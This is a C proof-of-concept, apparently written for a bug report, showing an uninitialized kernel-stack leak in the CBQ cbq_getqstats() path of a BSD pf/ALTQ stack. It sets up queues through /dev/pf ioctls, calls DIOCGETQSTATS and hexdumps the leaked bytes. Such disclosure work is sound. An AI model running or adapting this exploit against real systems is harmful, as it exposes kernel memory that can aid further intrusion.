/*
 * DF-3386 -- CBQ cbq_getqstats() uninitialized kernel-stack copyout
 *            (DF-0438's twin in the CBQ discipline)
 *
 * Mechanism (root-only):
 *
 *   altq_cbq.c:469 cbq_getqstats() declares
 *
 *       class_stats_t stats;                <-- stack, uninitialized
 *       ...
 *       get_class_stats(&stats, cl);        (altq_cbq.c:191-220)
 *       copyout(&stats, ubuf, sizeof(stats));
 *
 *   get_class_stats() fills every scalar field but NEVER touches:
 *     - stats.handle        (class_stats_t offset 0, altq_cbq.h:66)
 *     - stats.red[3]        (168 bytes of struct redstats[3] at the tail,
 *                            only written when qtype is Q_RED/Q_RIO)
 *   For a plain droptail class (the default), sizeof(class_stats_t) ==
 *   ~296 bytes are copied out while ~172 of them (handle + red[3]) are
 *   uninitialized kernel stack.
 *
 *   Identical shape to DF-0438 (hfsc_getqstats redstats), which was
 *   accepted for altq_hfsc.c; the CBQ copy of the same KAME bug was
 *   never fixed.
 *
 * PoC:
 *   - build a minimal CBQ config (discipline + root + droptail default
 *     class) via raw /dev/pf ioctls,
 *   - DIOCGETALTQS / DIOCGETALTQ to locate the class entry,
 *   - DIOCGETQSTATS into a buffer pre-filled with 0x41, three times,
 *   - dump the struct: bytes other than 0x41 in the handle/red[] region
 *     are kernel stack residue.
 */

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#include <net/if.h>
#include <net/pf/pfvar.h>
#include <net/altq/altq.h>
#include <net/altq/altq_cbq.h>

#define IFNAME  "vtnet0"

static int
begin_altq_txn(int fd, u_int32_t *ticket)
{
	struct pfioc_trans_e te;
	struct pfioc_trans tr;

	memset(&te, 0, sizeof(te));
	te.rs_num = PF_RULESET_ALTQ;
	memset(&tr, 0, sizeof(tr));
	tr.size = 1;
	tr.esize = sizeof(te);
	tr.array = &te;
	if (ioctl(fd, DIOCXBEGIN, &tr) < 0)
		return (-1);
	*ticket = te.ticket;
	return (0);
}

static int
commit_altq_txn(int fd, u_int32_t ticket)
{
	struct pfioc_trans_e te;
	struct pfioc_trans tr;

	memset(&te, 0, sizeof(te));
	te.rs_num = PF_RULESET_ALTQ;
	te.ticket = ticket;
	memset(&tr, 0, sizeof(tr));
	tr.size = 1;
	tr.esize = sizeof(te);
	tr.array = &te;
	return (ioctl(fd, DIOCXCOMMIT, &tr));
}

static int
add_altq(int fd, u_int32_t ticket, struct pf_altq *a)
{
	struct pfioc_altq pa;

	memset(&pa, 0, sizeof(pa));
	pa.ticket = ticket;
	pa.altq = *a;
	if (ioctl(fd, DIOCADDALTQ, &pa) < 0)
		return (-1);
	*a = pa.altq;
	return (0);
}

static void
hexdump(const unsigned char *p, size_t n)
{
	size_t i;

	for (i = 0; i < n; i++) {
		if (i % 16 == 0)
			printf("%6zu: ", i);
		printf("%02x ", p[i]);
		if (i % 16 == 15)
			printf("\n");
	}
	printf("\n");
}

int
main(void)
{
	int fd, i, run;
	u_int32_t ticket;
	struct pf_altq root, def;
	struct pfioc_altq pa;

	fd = open("/dev/pf", O_RDWR);
	if (fd < 0) {
		perror("open /dev/pf (need root + pf.ko)");
		return (2);
	}
	if (ioctl(fd, DIOCSTART) < 0 && errno != EEXIST)
		fprintf(stderr, "DIOCSTART: %s (continuing)\n", strerror(errno));

	if (begin_altq_txn(fd, &ticket) < 0) {
		fprintf(stderr, "DIOCXBEGIN(ALTQ): %s\n", strerror(errno));
		return (1);
	}

	/* CBQ discipline */
	memset(&root, 0, sizeof(root));
	root.scheduler = ALTQT_CBQ;
	root.ifbandwidth = 1000000000;
	root.qlimit = 30;
	strlcpy(root.ifname, IFNAME, sizeof(root.ifname));
	if (add_altq(fd, ticket, &root) < 0) {
		fprintf(stderr, "DIOCADDALTQ(cbq discipline): %s\n",
		    strerror(errno));
		return (1);
	}

	/* CBQ root class (rmc_init) */
	memset(&root, 0, sizeof(root));
	root.scheduler = ALTQT_CBQ;
	root.ifbandwidth = 1000000000;
	root.bandwidth = 1000000000;
	root.qlimit = 30;
	strlcpy(root.ifname, IFNAME, sizeof(root.ifname));
	strlcpy(root.qname, "q_root", sizeof(root.qname));
	root.pq_u.cbq_opts.flags = CBQCLF_ROOTCLASS;
	root.pq_u.cbq_opts.ns_per_byte = 1;
	root.pq_u.cbq_opts.maxidle = 1000;
	root.pq_u.cbq_opts.offtime = 10;
	root.pq_u.cbq_opts.minidle = -1000;
	root.pq_u.cbq_opts.pktsize = 1500;
	if (add_altq(fd, ticket, &root) < 0) {
		fprintf(stderr, "DIOCADDALTQ(q_root): %s\n", strerror(errno));
		return (1);
	}

	/* droptail default class (no RED) */
	memset(&def, 0, sizeof(def));
	def.scheduler = ALTQT_CBQ;
	def.ifbandwidth = 1000000000;
	def.bandwidth = 50000000;
	def.qlimit = 30;
	def.priority = 1;
	def.parent_qid = root.qid;
	strlcpy(def.ifname, IFNAME, sizeof(def.ifname));
	strlcpy(def.qname, "q_def", sizeof(def.qname));
	def.pq_u.cbq_opts.flags = CBQCLF_DEFCLASS;
	def.pq_u.cbq_opts.ns_per_byte = 2;
	def.pq_u.cbq_opts.maxidle = 100;
	def.pq_u.cbq_opts.offtime = 5;
	def.pq_u.cbq_opts.minidle = -100;
	def.pq_u.cbq_opts.pktsize = 1500;
	if (add_altq(fd, ticket, &def) < 0) {
		fprintf(stderr, "DIOCADDALTQ(q_def): %s\n", strerror(errno));
		return (1);
	}

	if (commit_altq_txn(fd, ticket) < 0) {
		fprintf(stderr, "DIOCXCOMMIT: %s\n", strerror(errno));
		return (1);
	}
	printf("cbq configured: sizeof(class_stats_t)=%zu "
	    "sizeof(struct redstats)=%zu\n", sizeof(class_stats_t),
	    sizeof(struct redstats));

	/* locate the active-list entries */
	memset(&pa, 0, sizeof(pa));
	if (ioctl(fd, DIOCGETALTQS, &pa) < 0) {
		fprintf(stderr, "DIOCGETALTQS: %s\n", strerror(errno));
		return (1);
	}
	printf("active altq entries: %u, ticket=%u\n", pa.nr, pa.ticket);

	int found = -1;
	for (i = 0; i < (int)pa.nr; i++) {
		struct pfioc_altq pq2;
		memset(&pq2, 0, sizeof(pq2));
		pq2.ticket = pa.ticket;
		pq2.nr = i;
		if (ioctl(fd, DIOCGETALTQ, &pq2) < 0)
			break;
		if (pq2.altq.scheduler == ALTQT_CBQ &&
		    strcmp(pq2.altq.qname, "q_def") == 0)
			found = i;
	}
	if (found < 0) {
		fprintf(stderr, "q_def entry not found\n");
		return (1);
	}
	printf("q_def is active entry nr=%d\n", found);

	for (run = 1; run <= 3; run++) {
		struct pfioc_qstats qs;
		static class_stats_t stats;	/* static -> zero page, clean */

		memset(&stats, 0x41, sizeof(stats));
		memset(&qs, 0, sizeof(qs));
		qs.ticket = pa.ticket;
		qs.nr = found;
		qs.buf = &stats;
		qs.nbytes = sizeof(stats);
		qs.scheduler = ALTQT_CBQ;
		if (ioctl(fd, DIOCGETQSTATS, &qs) < 0) {
			fprintf(stderr, "DIOCGETQSTATS: %s\n", strerror(errno));
			return (1);
		}
		printf("\n=== run %d (nbytes=%d) ===\n", run, qs.nbytes);
		printf("handle field (offset 0, uninit): 0x%08x\n", stats.handle);
		printf("qtype=%d (1=droptail,2=RED,3=RIO)  qcnt=%d\n",
		    stats.qtype, stats.qcnt);
		printf("full dump (0x41 == untouched prefill):\n");
		hexdump((const unsigned char *)&stats, sizeof(stats));
	}

	printf("\nInterpretation: any byte != 0x41 in the first 4 bytes "
	    "(handle)\nand in the last %zu bytes (red[3]) is uninitialized "
	    "kernel stack\nleaked to userspace.\n",
	    3 * sizeof(struct redstats));
	return (0);
}
